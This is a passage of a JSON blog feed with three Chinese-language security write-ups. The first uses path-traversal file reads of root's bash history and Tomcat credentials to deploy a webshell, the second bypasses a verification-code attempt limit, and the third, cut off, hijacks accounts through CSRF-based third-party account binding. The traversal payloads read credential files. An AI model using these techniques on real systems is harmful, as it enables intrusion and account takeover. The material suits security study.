\/><\/p>\n\n<p>(\u89e3\u5bc6\u4e0d\u4e86)\uff0c\u600e\u4e48\u901a\u8fc7\u8fd9\u4e2a\u672c\u5730\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\u62ff\u5230shell\uff1f\u6211\u7684\u601d\u8def\u662f\u901a\u8fc7\u8bfb\u53d6tomcat\u7684\u5bc6\u7801\u914d\u7f6e\u6587\u4ef6\u7136\u540e\u8fdb\u5165tomcat\u7684Web\u7ba1\u7406\u90e8\u7f72war\u5305\u8fdb\u884cgetwebshell\uff0c\u4f46\u662f\u8fd9\u91cc\u505a\u4e86\u4e00\u5708\u7684\u76ee\u5f55\u731c\u89e3\uff0c\u6b7b\u6d3b\u6ca1\u627e\u5230tomcat\u7684\u5e94\u7528\u76ee\u5f55\u2026<\/p>\n\n<p>\u8bfb\u53d6<code>\/root\/.bash_history<\/code>\u554a(\u8fd9\u4e2a\u6587\u4ef6\u662f\u8bb0\u5f55root\u7528\u6237\u8f93\u5165\u8fc7\u7684\u547d\u4ee4-<strong>\u8001\u5e08\u5085\u63d0\u9192\u5230<\/strong>)\uff0c\u7a81\u7136\u95f4\u6211\u8305\u585e\u987f\u5f00\uff0c\u662f\u554a\uff0c\u4e00\u822c\u8fd0\u7ef4\u4eba\u5458\u4f1a\u901a\u8fc7\u547d\u4ee4\u884c\u8fdb\u884c\u7ba1\u7406\uff0c\u90a3\u4e48\u80af\u5b9a\u4f1a\u6709\u76ee\u5f55\u51fa\u73b0\u554a\u3002<\/p>\n\n<p>\u6211\u4fee\u6539<code>fileName<\/code>\u53c2\u6570\u7684\u503c\u4e3a<code>..\/..\/..\/root\/.bash_history<\/code>\uff0c\u641c\u7d22\u4e0b\u5173\u952e\u8bcdtomcat\u5c31\u53d1\u73b0\u4e86\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x07.png\" alt=\"tomcat path\" \/><\/p>\n\n<p>\u6210\u529f\u7684\u53d1\u73b0\u4e86root\u7528\u6237\u7684\u547d\u4ee4\u5386\u53f2\u5e76\u4e14\u627e\u5230\u4e86Tomat\u7684\u5e94\u7528\u5b89\u88c5\u8def\u5f84\uff0c\u90a3\u4e48\u6211\u53ea\u9700\u8981\u4fee\u6539fileName\u7684\u53c2\u6570\u503c\u4e3a<code>..\/..\/..\/..\/home\/apache-tomcat-7.0.67\/conf\/tomcat-users.xml<\/code>\uff0c\u76f4\u63a5\u5c31\u53ef\u4ee5\u8bfb\u53d6\u5230Tomcat\u7684\u7ba1\u7406\u5458\u8d26\u53f7\u6743\u9650\uff0c\u4ece\u800c\u76f4\u63a5\u901a\u8fc7\u5916\u90e8\u8bbf\u95ee\u7684\u5f62\u5f0f\u8fdb\u5165Tomcat\u7684\u7ba1\u7406\u754c\u9762\u8fdb\u884c\u63a7\u5236\u3002<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x08.png\" alt=\"tomcat config\" \/><\/p>\n\n<p>\u767b\u5f55\u8fdb\u6765\u4e4b\u540e\u76f4\u63a5\u5230WAR file to deploy\u529f\u80fd\u70b9\uff0c\u8fdb\u884cwar\u5305\u7684\u90e8\u7f72\uff08\u5728\u8fd9\u91cc\u4f7f\u7528\u538b\u7f29\u7684\u65b9\u5f0f\u5c06\u7f51\u7ad9\u540e\u95e8\u538b\u7f29\u6210zip\u683c\u5f0f\u7136\u540e\u4fee\u6539\u540e\u7f00\u540d.zip\u4e3a.war\u5373\u53ef\uff09\uff0c\u70b9\u51fbBrowser\u9009\u62e9war\u5305\u7136\u540e\u70b9\u51fbDeploy\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x09.png\" alt=\"war deploy\" \/><\/p>\n\n<p>\u8fd9\u91cc\u90e8\u7f72\u4e0a\u53bb\u4e4b\u540e\u56de\u5230Applications\u529f\u80fd\u70b9\uff0c\u53ef\u4ee5\u770b\u5230\u90e8\u7f72\u7684\u60c5\u51b5\uff0c\u70b9\u51fb\u4f60\u7684\u547d\u540d\u94fe\u63a5\u7136\u540e\u52a0\u4e0a\u4f60\u538b\u7f29\u7684\u6587\u4ef6\u540d\uff08\u8fd9\u91cc\u6211\u7684\u662f \/vulkey\/vulkey.jsp\uff09\u4f7f\u7528Webshell\u7ba1\u7406\u5de5\u5177\u8fdb\u884c\u7ba1\u7406\uff0c\u770b\u89c1\u4e86\u6211\u4e45\u8fdd\u7684\u754c\u9762\uff0c\u4e45\u8fdd\u7684root\u6743\u9650\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-06-20\/0x10.png\" alt=\"shell\" \/><\/p>\n\n<h1 id=\"\u603b\u7ed3\">\u603b\u7ed3<\/h1>\n\n<p>\u56e0\u4e3a\u540e\u6e17\u900f\u53ef\u80fd\u4f1a\u5f71\u54cd\u6b63\u5e38\u4e1a\u52a1\u7684\u8fd0\u884c\uff0c\u6240\u4ee5\u6ca1\u6709\u7ee7\u7eed\u8fdb\u884c\u4e0b\u53bb\uff0c\u5f88\u9057\u61be\uff0c\u5e0c\u671b\u4e0b\u6b21\u6709\u673a\u4f1a\u3002\nEND:\n\u9001\u7ed9\u5927\u5bb6\u4e00\u53e5\u8bdd\uff1a\u5fc3\u7ec6\u5219\u6316\u5929\u4e0b\u3002<\/p>\n","pubDate":"2018-06-20T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-06-20\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-06-20\/1"},{"title":"\u5bc6\u7801\u91cd\u7f6e\u601d\u8def-\u5c0f\u5bc6\u5708\u7684\u4e00\u9053\u9898","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u8003\u9a8c\u6280\u80fd\uff1a\u9ed1\u76d2\u903b\u8f91\u601d\u8003\u601d\u7ef4<\/p>\n\n<!-- more -->\n\n<p>\u63d0\u793a\uff1ahttp:\/\/gh0st.cn\/archives\/2018-04-18\/1 \uff08\u6587\u4e2d\u51fa\u73b0\u8fc7\u8fd9\u4e2a\u601d\u8def\uff09<\/p>\n\n<p>\u9898\u76ee\u94fe\u63a5\uff1a\u5df2\u7ecf\u4e0b\u7ebf\uff08\u5bc6\u7801\u91cd\u7f6e\uff09<\/p>\n\n<p>\u4e00\u822c\u6765\u8bf4\uff0c\u5f88\u591a\u4eba\u5e94\u8be5\u5148\u8d70\u4e00\u904d\u6d41\u7a0b\uff1a<\/p>\n\n<h2 id=\"\u8d70\u6d41\u7a0b\">\u8d70\u6d41\u7a0b<\/h2>\n\n<ol>\n  <li>\u9a8c\u8bc1\u7801\u53d1\u9001<\/li>\n<\/ol>\n\n<p><img src=\"\/images\/2018-05-05\/0x01.png\" alt=\"0x01\" \/><\/p>\n\n<p>\u8fd4\u56de\u5305\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x02.png\" alt=\"0x02\" \/><\/p>\n\n<ol>\n  <li>\u9a8c\u8bc1\u7801\u9a8c\u8bc1<\/li>\n<\/ol>\n\n<p><img src=\"\/images\/2018-05-05\/0x03.png\" alt=\"0x03\" \/><\/p>\n\n<p>\u9519\u8bef\u8fd4\u56de\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x04.png\" alt=\"0x04\" \/><\/p>\n\n<h2 id=\"\u6d41\u7a0b\u5206\u6790\">\u6d41\u7a0b\u5206\u6790<\/h2>\n\n<h3 id=\"\u5bdf\u8a00\u89c2\u8272\">\u5bdf\u8a00\u89c2\u8272<\/h3>\n\n<p><img src=\"\/images\/2018-05-05\/0x06.png\" alt=\"0x06\" \/><\/p>\n\n<p>\u5982\u4e0a\u662f\u53d1\u9001\u9a8c\u8bc1\u7801\u8bf7\u6c42\u5bf9\u5e94\u7684\u54cd\u5e94\u62a5\u6587\uff0c\u4ece\u62a5\u6587\u53ef\u4ee5\u83b7\u53d6\u5230\u5982\u4e0b\u7684\u4fe1\u606f\uff1a<\/p>\n\n<ol>\n  <li>\u540e\u7aef\u9a8c\u8bc1\u9a8c\u8bc1\u7801\u7684\u65b9\u5f0f\u662f\u57fa\u4e8eSESSION\u4f1a\u8bddID\u7684<\/li>\n  <li>\u9a8c\u8bc1\u7801\u7684\u5f62\u52bf\u662f4\u4f4d\u6570\u7eaf\u6570\u5b57<\/li>\n<\/ol>\n\n<h3 id=\"\u7f3a\u9677\u53d1\u73b0\">\u7f3a\u9677\u53d1\u73b0<\/h3>\n\n<p>\u56db\u4f4d\u6570\u7eaf\u6570\u5b57\uff0c\u7206\u7834\u4e00\u4e0b\uff1f\u53ef\u662f\u95ee\u9898\u6765\u4e86~<\/p>\n\n<p>\u9519\u8bef\u4e09\u6b21\u4e4b\u540e\u5c31\u63d0\u793a\u5931\u6548\u4e86\u9a8c\u8bc1\u7801\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x05.png\" alt=\"0x05\" \/><\/p>\n\n<p>\u600e\u4e48\u529e\uff1f\u8fd9\u662f\u4e00\u9053\u8003\u601d\u7ef4\u7684\u9898\u76ee\uff0c\u56fd\u5185\u592a\u591a\u7684\u903b\u8f91\u6f0f\u6d1e\u7684\u6587\u7ae0\u4e86\uff0c\u53ef\u662f\u5927\u591a\u6570\u4eba\u5b66\u4e60\u7684\u662f1:1\u7684\u5b66\u4e60\uff0c\u4e0d\u4f1a\u53d8\u901a\u3002\u903b\u8f91\u6f0f\u6d1e\u4e0d\u4ec5\u4ec5\u5b58\u5728\u4e8e\u56fa\u6709\u7684\u4e1a\u52a1\u903b\u8f91\u4e0a\uff0c\u8fd8\u6709\u4ee3\u7801\u903b\u8f91~\u6253\u5f00\u4f60\u7684\u9ed1\u76d2\u6d4b\u8bd5\u601d\u7ef4\uff0c\u4efb\u4f55\u70b9\u4f60\u90fd\u53ea\u80fd\u731c\u6d4b\uff0c\u6240\u4ee5\u4e3a\u4ec0\u4e48\u4e0d\u591a\u731c\u731c\uff1f<\/p>\n\n<p>\u6587\u7ae0\u4e2d\u5199\u8fc7\u4f1a\u6709\u4e07\u80fd\u5bc6\u7801\u7684\u5b58\u5728\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x07.png\" alt=\"0x07\" \/><\/p>\n\n<p>\u6d4b\u8bd5\u4e0b\u5728\u8fd9\u91cc\u5e76\u4e0d\u5b58\u5728\uff0c\u6ca1\u6709\u8fd9\u6837\u7684\u7f3a\u9677\uff0c\u8fd9\u65f6\u5019\u4f60\u5c31\u9700\u8981\u8003\u8651\u66f4\u591a\u7684\u4e1c\u897f\uff0c\u4e0d\u8981\u505a\u4e2a\u201c\u8868\u9762\u6027\u201d\u6d4b\u8bd5\u7684\u201c\u767d\u5e3d\u5b50\u201d~<\/p>\n\n<p>\u4e4b\u524d\u8bf4\u4e86\u9519\u8bef\u4e09\u6b21\u9a8c\u8bc1\u7801\u4f1a\u5931\u6548\uff0c\u4f46\u662f\u5426\u662f\u771f\u7684\u5931\u6548\u4e86\uff1f\u5047\u8bbe\u6ca1\u6709\u5931\u6548\u53ea\u662f\u201c\u8868\u9762\u6027\u201d\u7684\u8f93\u51fa\u5931\u6548\u5462\uff1f<\/p>\n\n<p>\u601d\u8003\u540e\u53f0\u4ee3\u7801\u903b\u8f91\uff0c\u53c2\u8003\u6211\u63d0\u793a\u4e2d\u94fe\u63a5\u7684\u6587\u7ae0\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x08.png\" alt=\"0x08\" \/><\/p>\n\n<p>\u5728\u8fd9\u91cc\u4ee3\u5165\u5230\u5bc6\u7801\u91cd\u7f6e\u8fd9\u4e00\u73af\u8282\u662f\u5426\u6709\u7528\u5462\uff1f\u6765\u6d4b\u8bd5\u4e0b\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x09.png\" alt=\"0x09\" \/><\/p>\n\n<p>\u8fd9\u91cc\u591a\u4e86\u4e00\u7ebf\u751f\u673a\uff0c\u56e0\u4e3a\u63d0\u793a\u4e86\u5bc6\u7801\u9519\u8bef\uff0c\u800c\u4e0d\u662f\u5931\u6548\uff0c\u90a3\u4e48\u662f\u5426\u80fd\u501f\u52a9\u8fd9\u4e2a\u6765\u7ed5\u8fc7\u6b21\u6570\u9650\u5236\u5462\uff1f<\/p>\n\n<p>\u5728\u8fd9\u91cc\u4f60\u53ef\u4ee5\u9009\u62e9\u4f7f\u7528Python\u6765\u5e2e\u52a9\u4f60\uff0c\u4f46\u6211\u8ba4\u4e3a\u8fd9\u5b8c\u5168\u6ca1\u5fc5\u8981\uff0c\u56e0\u4e3aBurpSuite\u89e3\u51b3\u4e86\u4e00\u5207\uff1a<\/p>\n\n<p>\u6570\u636e\u5305\u53d1\u9001\u5230intruder\u6a21\u5757\uff0c\u8bbe\u7f6eattack type\u4e3aPitchfork\uff0c\u8bbe\u7f6e\u597dpayload\u4f4d\u7f6e\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x10.png\" alt=\"0x10\" \/><\/p>\n\n<p>Pitchfork\u7684\u5de5\u4f5c\u6a21\u5f0f\u662f\u591a\u7ec4\u7684\uff0c\u5982\u4e0a\u6211\u8bbe\u7f6e\u4e86\u4e24\u4e2apayload\u4f4d\u7f6e\uff0c\u4f7f\u7528\u8fd9\u4e2a\u6a21\u5f0f\u9700\u8981\u4e24\u4e2apayload\u7684\u6570\u91cf\u662f\u4e00\u6837\u7684\uff0c\u53d1\u9001\u7684\u8bf7\u6c42\u4e3aA[1]\u5bf9B[1]\u3002<\/p>\n\n<p>\u8bbe\u7f6epayload\uff1a<\/p>\n\n<p>\u7b2c\u4e00\u4e2a\u4e3a\u5b57\u7b26\u5757\uff08Character blocks\uff09-\u8fd9\u79cd\u7c7b\u578b\u7684Payload\u662f\u6307\u4f7f\u7528\u4e00\u4e2a\u7ed9\u51fa\u7684\u8f93\u5165\u5b57\u7b26\u4e32\uff0c\u6839\u636e\u6307\u5b9a\u7684\u8bbe\u7f6e\u4ea7\u751f\u6307\u5b9a\u5927\u5c0f\u7684\u5b57\u7b26\u5757\uff0c\u8868\u73b0\u5f62\u5f0f\u4e3a\u751f\u6210\u6307\u5b9a\u957f\u5ea6\u7684\u5b57\u7b26\u4e32\u3002<\/p>\n\n<p>\u7b2c\u4e8c\u4e2a\u4e3a\u6570\u5b57\uff08Numbers\uff09-\u8fd9\u79cd\u7c7b\u578b\u7684Payload\u662f\u6307\u6839\u636e\u914d\u7f6e\uff0c\u751f\u6210\u4e00\u7cfb\u5217\u7684\u6570\u5b57\u4f5c\u4e3aPayload\u3002<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x11.png\" alt=\"0x11\" \/><\/p>\n\n<p>\u6d4b\u8bd5\u53d1\u73b0\u771f\u5b9e\u53ef\u7528\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-05-05\/0x12.png\" alt=\"0x12\" \/><\/p>\n\n<h2 id=\"\u603b\u7ed3\">\u603b\u7ed3<\/h2>\n\n<p>\u9ed1\u76d2\u6d4b\u8bd5\u7684\u7cbe\u534e\u662f\u4ec0\u4e48\uff1fFuzzing.<\/p>\n\n<p>\u4f60\u73b0\u5728\u638c\u63e1\u7684\u601d\u8def\u5f52\u6839\u5230\u5e95\u90fd\u662fFuzzing\u7684\u7ed3\u6676\u3002<\/p>\n\n<p>\u5728\u6f0f\u6d1e\u6316\u6398\u4e2d\u6253\u5f00\u4f60\u7684\u601d\u7ef4\uff0c\u52a0\u6cb9~<\/p>\n","pubDate":"2018-05-05T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-05-05\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-05-05\/1"},{"title":"CSRF\u4e4b\u4f60\u767b\u9646\u6211\u7684\u8d26\u53f7#\u4e1a\u52a1\u903b\u8f91\u7ec4\u5408\u62f3\u52ab\u6301\u4f60\u7684\u6743\u9650","description":"<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u8fd9\u662f\u4e00\u4e2a\u7406\u8bba\u4e0a\u901a\u6740\u5f88\u591a\u5927\u578b\u4f01\u4e1a\u7f51\u7ad9\u7684\u6f0f\u6d1e\u7f3a\u9677~<\/p>\n\n<!-- more -->\n\n<p>\u53ef\u80fd\u5f88\u591a\u670b\u53cb\u70b9\u51fb\u6765\u770b\u89c1\u6807\u9898\u5c31\u89c9\u5f97\uff0c<code>\u8fd9\u5bb6\u4f19\u5728\u5439\u725b\u903c\u4e86\u6211\u5012\u8981\u770b\u770b\u8fd9\u8d27\u80fd\u600e\u4e48\u5439,CSRF\u4e4b\u767b\u9646\u6211\u7684\u8d26\u53f7\u80fd\u6709\u5565\u73a9\u610f\u5371\u5bb3\uff1f <\/code><\/p>\n\n<p>\u5148\u6309\u5948\u4f4f\u4f60\u5fc3\u4e2d\u4e0d\u5c51\u7684\u60c5\u7eea\uff0c\u542c\u6211\u6162\u6162\u9053\u6765~<\/p>\n\n<h2 id=\"\u901a\u7528\u4e1a\u52a1\u529f\u80fd\u5206\u6790\">\u901a\u7528\u4e1a\u52a1\u529f\u80fd\u5206\u6790<\/h2>\n\n<p>\u6700\u8fd1\u5f88\u559c\u6b22\u6316\u4e00\u4e9b\u901a\u7528\u6f0f\u6d1e\uff08\u4e0d\u662f\u7a0b\u5e8f\u901a\u7528\uff0c\u800c\u662f\u529f\u80fd\u901a\u7528\uff09\uff0c\u4f1a\u7ecf\u5e38\u62ff\u7740BAT\u4e09\u5bb6\u4ee5\u53ca\u5176\u4ed6\u4e00\u4e9b\u5927\u578b\u7f51\u7ad9\u8fdb\u884c\u4e1a\u52a1\u529f\u80fd\u70b9\u7684\u5bf9\u6bd4\uff0c\u6765\u770b\u770b\u6709\u54ea\u4e9b\u662f\u5171\u7528\u7684\u529f\u80fd\u70b9\uff0c\u8fd9\u8fb9\u5217\u51fa\u4ee5\u4e0b\u7684\u51e0\u6761\uff1a<\/p>\n\n<ol>\n  <li>QQ\u5feb\u6377\u767b\u9646<\/li>\n  <li>\u5fae\u4fe1\u5feb\u6377\u767b\u9646<\/li>\n  <li>\u5fae\u535a\u5feb\u6377\u767b\u9646<\/li>\n  <li>\u5176\u4ed6\u2026\u2026<\/li>\n<\/ol>\n\n<p><img src=\"\/images\/2018-04-28\/0x00.png\" alt=\"0x00.png\" \/><\/p>\n\n<p>OAuth2.0\u8ba4\u8bc1\u7f3a\u9677-\u5feb\u6377\u767b\u9646\u8d26\u53f7\u52ab\u6301\u7684\u95ee\u9898\u5177\u4f53\u53ef\u4ee5\u53c2\u8003\uff1ahttp:\/\/gh0st.cn\/archives\/2018-02-12\/1 \uff08<strong>\u6765\u81eai\u6625\u79cb\u793e\u533a<\/strong>\uff09<\/p>\n\n<p>\u8fd9\u79cd\u95ee\u9898\u5176\u5b9e\u9700\u8981\u4e00\u5b9a\u7684\u8fd0\u6c14\u56e0\u4e3a\u5f88\u591a\u7684\u5feb\u6377\u767b\u9646\u6709state\u53c2\u6570\u7684\u5e72\u6270\uff0c\u6240\u4ee5\u662f\u5b8c\u5168\u6ca1\u529e\u6cd5\u53bb\u5229\u7528\u7684\u3002<\/p>\n\n<p>\u5728\u8fd9\u91cc\u6211\u5c1d\u8bd5\u80fd\u4e0d\u80fd\u6316\u5230\u4e00\u4e2a\u65b0\u7684\u7f3a\u9677\uff0c\u5728\u8d70\u6b63\u5e38\u7684\u5feb\u6377\u767b\u9646\u6d41\u7a0b\u65f6\u6211\u53d1\u73b0\u9700\u8981\u7ed1\u5b9a\u8fd9\u4e2a\u7f51\u7ad9\u7684\u8d26\u53f7\u624d\u53ef\u4ee5\u6b63\u5e38\u7684\u4f7f\u7528\u7528\u6237\u7684\u529f\u80fd\uff0c\u8fd9\u65f6\u5019\u53cd\u7740\u60f3\u7f51\u7ad9\u7684\u7528\u6237\u4e2d\u5fc3\u662f\u5426\u6709\u7b2c\u4e09\u65b9\u7684\u8d26\u53f7\u7ed1\u5b9a\uff1f<\/p>\n\n<p>\u8fd9\u91cc\u627e\u4e86\u5927\u90e8\u5206\u7684\u7f51\u7ad9\u90fd\u6709\u8fd9\u6837\u7684\u529f\u80fd\uff08\u7b2c\u4e09\u65b9\u8d26\u53f7\u7ed1\u5b9a\uff0c\u7ed1\u5b9a\u4e86\u5373\u53ef\u4f7f\u7528\u7b2c\u4e09\u65b9\u8d26\u53f7\u76f4\u63a5\u767b\u9646\uff09\uff0c\u627e\u5230\u4e86\u8fd9\u4e2a\u529f\u80fd\u70b9\u5c31\u53ef\u4ee5\u6765\u6d4b\u8bd5\uff0c\u5148\u8d70\u4e00\u904d\u6b63\u5e38\u7684\u7ed1\u5b9a\u6d41\u7a0b\uff1a<\/p>\n\n<ul>\n  <li>\u70b9\u51fb\u7ed1\u5b9a\u7b2c\u4e09\u65b9\u8d26\u53f7<\/li>\n  <li>\u8fdb\u5165\u7b2c\u4e09\u65b9\u8d26\u53f7\u7ed1\u5b9a\u9875\u9762<\/li>\n  <li>\uff08\u5982\u679c\u7b2c\u4e09\u65b9\u8d26\u53f7\u662f\u767b\u9646\u72b6\u6001\uff09-&gt;\u9700\u8981\u70b9\u51fb\u6388\u6743\u6309\u94ae\uff1b(\u5982\u679c\u7b2c\u4e09\u65b9\u8d26\u53f7\u662f\u672a\u767b\u9646\u72b6\u6001)-&gt;\u9700\u8981\u8f93\u5165\u7b2c\u4e09\u65b9\u7684\u8d26\u53f7\u5bc6\u7801\u767b\u9646-&gt;\u70b9\u51fb\u6388\u6743\u6309\u94ae<\/li>\n<\/ul>\n\n<p><img src=\"\/images\/2018-04-28\/0x01.png\" alt=\"0x01.png\" \/><\/p>\n\n<h2 id=\"\u8bbe\u7acb\u731c\u60f3\">\u8bbe\u7acb\u731c\u60f3<\/h2>\n\n<p>\u68b3\u7406\u4e86\u6d41\u7a0b\u4e4b\u540e\uff0c\u4e00\u4e2a\u5f88\u9a9a\u7684\u601d\u8def\u5c31\u4ece\u8111\u5b50\u91cc\u8e66\u4e86\u51fa\u6765\uff1a<\/p>\n\n<p>\u6709\u7b2c\u4e09\u65b9\u8d26\u53f7\u7ed1\u5b9a\u8fd9\u4e2a\u529f\u80fd\uff0c\u767b\u9646\u5904\u4e5f\u6709\u7b2c\u4e09\u65b9\u8d26\u53f7\u767b\u9646\u529f\u80fd\uff0c\u4e5f\u5c31\u662f\u8bf4\u7ed1\u5b9a\u7b2c\u4e09\u65b9\u8d26\u53f7\u4ee3\u8868\u7740\u6743\u9650\u5206\u4eab\u7ed9\u4e86\u7b2c\u4e09\u65b9\u8d26\u53f7\u3002<\/p>\n\n<p>\u731c\u60f3\u5efa\u7acb-&gt;\u5982\u679c\u6211\u6709\u7b2c\u4e09\u65b9\u8d26\u53f7\u6240\u5728\u7f51\u7ad9\u7684<code>CSRF\u4e4b\u4f60\u767b\u9646\u6211\u7684\u8d26\u53f7<\/code>\u7f3a\u9677\uff0c\u8ba9\u53d7\u5bb3\u8005\u5148\u767b\u9646\u6211\u7684\u7b2c\u4e09\u65b9\u8d26\u53f7\uff08\u4e3a\u4e86\u907f\u514d\u635f\u5931\uff0c\u6211\u53ef\u4ee5\u6ce8\u518c\u4e00\u4e2a\u5c0f\u53f7\uff09\uff0c\u7136\u540e\u7ed1\u5b9a\u5904\u4e5f\u6709CSRF\u7ed1\u5b9a\u7684\u7f3a\u9677\u6216\u8005\u70b9\u51fb\u52ab\u6301\u95ee\u9898\uff0c\u90a3\u4e48\u6211\u5c31\u53ef\u4ee5\u8ba9\u53d7\u5bb3\u8005\u7ed1\u5b9a\u6211\u7684\u7b2c\u4e09\u65b9\u8d26\u53f7\uff0c\u7136\u540e\u6839\u636e\u6211\u7684\u7b2c\u4e09\u65b9\u8d26\u53f7\u6765\u767b\u9646\u53d7\u5bb3\u8005\u7684\u8d26\u53f7\uff0c\u52ab\u6301\u5230\u5176\u6743\u9650\u3002<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x02.png\" alt=\"0x02.png\" \/><\/p>\n\n<h2 id=\"\u9a8c\u8bc1\u731c\u60f3\">\u9a8c\u8bc1\u731c\u60f3<\/h2>\n\n<h3 id=\"\u6d41\u7a0b\">\u6d41\u7a0b<\/h3>\n\n<p>\u4e2a\u4eba\u4e2d\u5fc3\u6709\u8fd9\u4e2a\u7b2c\u4e09\u65b9\u7684\u8d26\u53f7\u7ed1\u5b9a\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x03.png\" alt=\"0x03.png\" \/><\/p>\n\n<p>\u5728\u8fd9\u91ccQQ\u3001github\u3001\u5fae\u535a\u3001\u5fae\u4fe1\u56db\u4e2a\u7b2c\u4e09\u65b9\u8d26\u53f7\u7ed1\u5b9a\u4e2d\u6211\u6709\u4e86\u5fae\u535a\u7684<code>CSRF\u4e4b\u4f60\u767b\u9646\u6211\u7684\u8d26\u53f7<\/code>\u8fd9\u4e2a\u7f3a\u9677\uff0c\u6240\u4ee5\u8fd9\u91cc\u6d4b\u8bd5\u4e0b\u5fae\u535a\u7684\u7b2c\u4e09\u65b9\u8d26\u53f7\u7ed1\u5b9a\u3002<\/p>\n\n<p>\u9875\u9762\u6709\u5fae\u535a\u8d26\u53f7\u7ed1\u5b9a\u7684\u8df3\u8f6c\u94fe\u63a5\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x04.png\" alt=\"0x04\" \/><\/p>\n\n<p>\u901a\u8fc7\u8fd9\u4e2a\u94fe\u63a5\u8fdb\u5165\u4e86\u7ed1\u5b9a\u7684\u754c\u9762\uff08\u672a\u767b\u9646\u5fae\u535a\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x05.png\" alt=\"0x05.png\" \/><\/p>\n\n<p>\u901a\u8fc7\u8fd9\u4e2a\u94fe\u63a5\u8fdb\u5165\u4e86\u7ed1\u5b9a\u7684\u754c\u9762\uff08\u5df2\u767b\u9646\u5fae\u535a\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x06.png\" alt=\"0x06.png\" \/><\/p>\n\n<p>\u5f53\u6211\u6388\u6743\u7ed1\u5b9a\u4e4b\u540e\uff0c\u5fae\u535a\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u7ba1\u7406\u4e2d\u5fc3-&gt;\u6211\u7684\u5e94\u7528-&gt;\u6211\u7684\u5e94\u7528\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x07.png\" alt=\"0x07.png\" \/><\/p>\n\n<p>\u4f1a\u591a\u51fa\u8fd9\u4e2a\u7f51\u7ad9\u5728\u91cc\u9762\uff0c\u90a3\u4e48\u8fd9\u4e2a\u53d8\u5316\u662f\u5bf9\u6211\u4eec\u6709\u5229\u7684\uff0c\u8fd8\u662f\uff1f<\/p>\n\n<p>\u8fd9\u91cc\u6211\u89e3\u7ed1\u4e86\u5fae\u535a\uff0c\u7136\u540e\u518d\u4f7f\u7528\u8fd9\u4e2a\u5df2\u7ecf\u6388\u6743\u4e86\u7684\u5fae\u535a\u8fdb\u884c\u7ed1\u5b9a\uff0c\u53d1\u73b0\u5c45\u7136\u4e0d\u7528\u70b9\u51fb\u6388\u6743\u4e86\uff0c\u76f4\u63a5\u5c31\u7ed1\u5b9a\u4e86\u3002<\/p>\n\n<p>\u5f88\u663e\u7136\uff0c\u5728\u8fd9\u91cc\u8fd9\u4e2a<code>\u4fbf\u5229<\/code>\u89e3\u51b3\u4e86\u4e00\u4e9b\u653b\u51fb\u7684\u5229\u7528\u96be\u5ea6\u3002<\/p>\n\n<h3 id=\"\u5b9e\u73b0\">\u5b9e\u73b0<\/h3>\n\n<p>\u6211\u4eec\u73b0\u5728\u5177\u5907\u7684\u51e0\u4e2a\u6761\u4ef6\uff1a<\/p>\n\n<ol>\n  <li>\u5fae\u535a\u7684<code>CSRF\u4e4b\u4f60\u767b\u9646\u6211\u7684\u8d26\u53f7<\/code>\u7f3a\u9677\uff1a<\/li>\n<\/ol>\n\n<p>\u767b\u9646\u4f60\u7684\u5fae\u535a\uff0c\u7136\u540e\u8bbf\u95eehttp:\/\/login.sina.com.cn\/sso\/crossdomain.php?action=login\uff0c\u4f1a\u8fd4\u56de\u8fd9\u6837\u7684\u5185\u5bb9\u7ed9\u4f60\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-04-28\/0x08.png\" alt=\"0x08.png\" \/><\/p>\n\n<p>\u5176\u4e2darrURL\u5bf9\u5e94\u7684\u94fe\u63a5\u5c31\u662f\u51ed\u8bc1\u767b\u9646\u7684~<\/p>\n\n<ol>\n  <li>\u4f60\u7684\u5fae\u535a\u5df2\u7ecf\u6388\u6743\u8fc7\u4e86\u8981\u5b58\u5728\u7f3a\u9677\u7684\u7f51\u7ad9(\u8fd9\u91cc\u65b9\u4fbf\u76f4\u63a5\u8df3\u8f6c\u800c\u4e0d\u7528\u518d\u53bb\u70b9\u51fb\u6309\u94ae\uff01\u6240\u4ee5\u4f60\u53ef\u4ee5\u5148\u7528\u81ea\u5df1\u7684\u5fae\u535a\u7ed1\u5b9a\u4e0b\u5b58\u5728\u7f3a\u9677\u7684\u7f51\u7ad9\u7684\u8d26\u53f7\uff0c\u7136\u540e\u89e3\u7ed1\u5c31\u884c\u4e86~)<\/li>\n  <li>\u7ed1\u5b9a\u8bf7\u6c42\u5b58\u5728csrf\u7684\u7f3a\u9677\uff08\u8fd9\u91cc\u56e0\u4e3a\u662fGET\u8bf7\u6c42\u7c7b\u578b <code>\/oauth\/weibo\/redirect<\/code>\uff0c\u800c\u4e00\u822c\u4e0d\u4f1a\u5bf9GET\u8bf7\u6c42\u7c7b\u578b\u8fdb\u884cCSRF\u7684\u9650\u5236~~\uff09<\/li>\n<\/ol>\n\n<h4 